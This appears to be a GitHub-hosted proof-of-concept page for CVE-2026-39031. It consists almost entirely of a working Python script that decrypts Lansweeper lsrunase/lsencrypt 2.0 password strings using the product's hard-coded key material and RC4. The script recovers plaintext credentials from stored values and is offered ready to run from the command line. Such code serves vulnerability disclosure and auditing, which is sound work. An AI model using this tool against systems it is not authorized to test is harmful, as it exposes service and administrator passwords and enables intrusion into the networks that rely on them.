5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / lsrunase2cve.py PY
#!/usr/bin/env python3
"""PoC for CVE-2026-39031: Lansweeper lsrunase/lsencrypt 2.0 recovery."""

from __future__ import annotations

import argparse
import base64
import hashlib
import secrets
import sys


PREFIX_LENGTH = 8
PREFIX_MIN = 0x3F
PREFIX_MAX = 0x7E
PREFIX_CHARS = ''.join(chr(value) for value in range(PREFIX_MIN, PREFIX_MAX + 1))

FIXED_KEY_SUFFIX = bytes([
    0x27, 0x0F, 0x29, 0x11, 0x2B, 0x13, 0x2D, 0x15,
    0x2F, 0x17, 0x31, 0x19, 0x33, 0x1B, 0x35, 0x1D,
    0x37, 0x1F, 0x39, 0x21, 0x3B, 0x23, 0x3D, 0x25,
    0x3F, 0x27, 0x41, 0x29, 0x43, 0x2B, 0x45, 0x2D,
    0x47, 0x2F, 0x49, 0x31, 0x4B, 0x33, 0x4D, 0x35,
    0x4F, 0x37, 0x51, 0x39, 0x53, 0x3B, 0x55, 0x3D,
    0x57, 0x3F, 0x59, 0x41, 0x5B, 0x43, 0x5D, 0x45,
    0x5F, 0x47, 0x61, 0x49, 0x63, 0x4B, 0x65, 0x4D,
    0x67, 0x4F, 0x69, 0x51, 0x6B, 0x53, 0x6D, 0x55,
    0x6F, 0x57, 0x71, 0x59, 0x73, 0x5B, 0x75, 0x5D,
    0x77, 0x5F, 0x79, 0x61, 0x7B, 0x63, 0x7D, 0x65,
    0x7F, 0x67, 0x81, 0x69, 0x83, 0x6B, 0x85, 0x6D,
    0x87, 0x6F, 0x89, 0x71, 0x8B, 0x73, 0x8D, 0x75,
    0x8F, 0x77, 0x91, 0x79, 0x93, 0x7B, 0x95, 0x7D,
    0x97, 0x7F, 0x99, 0x81, 0x9B, 0x83, 0x9D, 0x85,
    0x9F, 0x87, 0xA1, 0x89, 0xA3, 0x8B, 0xA5, 0x8D,
    0xA7, 0x8F, 0xA9, 0x91, 0xAB, 0x93, 0xAD, 0x95,
    0xAF, 0x97, 0xB1, 0x99, 0xB3, 0x9B,
])


class RC4:
    def __init__(self, key: bytes):
        self.s = list(range(256))
        j = 0
        for i in range(256):
            j = (j + self.s[i] + key[i % len(key)]) % 256
            self.s[i], self.s[j] = self.s[j], self.s[i]

    def crypt(self, data: bytes) -> bytes:
        i = j = 0
        result = []
        for char in data:
            i = (i + 1) % 256
            j = (j + self.s[i]) % 256
            self.s[i], self.s[j] = self.s[j], self.s[i]
            result.append(char ^ self.s[(self.s[i] + self.s[j]) % 256])
        return bytes(result)

def validate_prefix(prefix: str) -> None:
    prefix_bytes = prefix.encode("ascii")
    if len(prefix_bytes) != PREFIX_LENGTH:
        raise ValueError(f"prefix must be exactly {PREFIX_LENGTH} ASCII characters")
    if any(char < PREFIX_MIN or char > PREFIX_MAX for char in prefix_bytes):
        raise ValueError("prefix characters must be in the ASCII range 0x3f through 0x7e")


def generate_key(prefix: str) -> bytes:
    validate_prefix(prefix)
    return prefix.encode("ascii") + FIXED_KEY_SUFFIX


def derive_rc4_key(prefix: str) -> bytes:
    return hashlib.sha1(generate_key(prefix)).digest()


def decrypt_password(encrypted_password: str) -> str:
    if len(encrypted_password) <= PREFIX_LENGTH:
        raise ValueError("encrypted password is too short")

    prefix = encrypted_password[:PREFIX_LENGTH]
    ciphertext_b64 = encrypted_password[PREFIX_LENGTH:]
    hashed_key = derive_rc4_key(prefix)
    pass_bytes = base64.b64decode(ciphertext_b64, validate=True)
    rc4 = RC4(hashed_key)
    decrypted = rc4.crypt(pass_bytes)
    return decrypted.decode("ascii")


def generate_random_prefix() -> str:
    return ''.join(secrets.choice(PREFIX_CHARS) for _ in range(PREFIX_LENGTH))


def encrypt_password(password: str, prefix: str | None = None) -> str:
    key_prefix = prefix if prefix is not None else generate_random_prefix()
    hashed_key = derive_rc4_key(key_prefix)
    rc4 = RC4(hashed_key)
    encrypted = rc4.crypt(password.encode("ascii"))
    return key_prefix + base64.b64encode(encrypted).decode("ascii")


def build_parser() -> argparse.ArgumentParser:
    parser = argparse.ArgumentParser(
        description="Recover or reproduce Lansweeper lsrunase/lsencrypt 2.0 password strings."
    )
    action = parser.add_mutually_exclusive_group(required=True)
    action.add_argument("--encrypt", "-e", metavar="PASSWORD", help="encrypt an ASCII password")
    action.add_argument("--decrypt", "-d", metavar="VALUE", help="decrypt an encrypted password value")
    parser.add_argument(
        "--prefix",
        metavar="PREFIX",
        help="optional 8-character prefix for reproducible encryption tests",
    )
    return parser


def main(argv: list[str] | None = None) -> int:
    parser = build_parser()
    args = parser.parse_args(argv)

    try:
        if args.decrypt is not None:
            if args.prefix is not None:
                parser.error("--prefix can only be used with --encrypt")
            print(f"Decrypted: {decrypt_password(args.decrypt)}")
        else:
            print(f"Encrypted: {encrypt_password(args.encrypt, args.prefix)}")
    except (UnicodeEncodeError, UnicodeDecodeError):
        print("error: this PoC expects ASCII input and output", file=sys.stderr)
        return 2
    except (ValueError, base64.binascii.Error) as exc:
        print(f"error: {exc}", file=sys.stderr)
        return 2

    return 0


if __name__ == "__main__":
    raise SystemExit(main())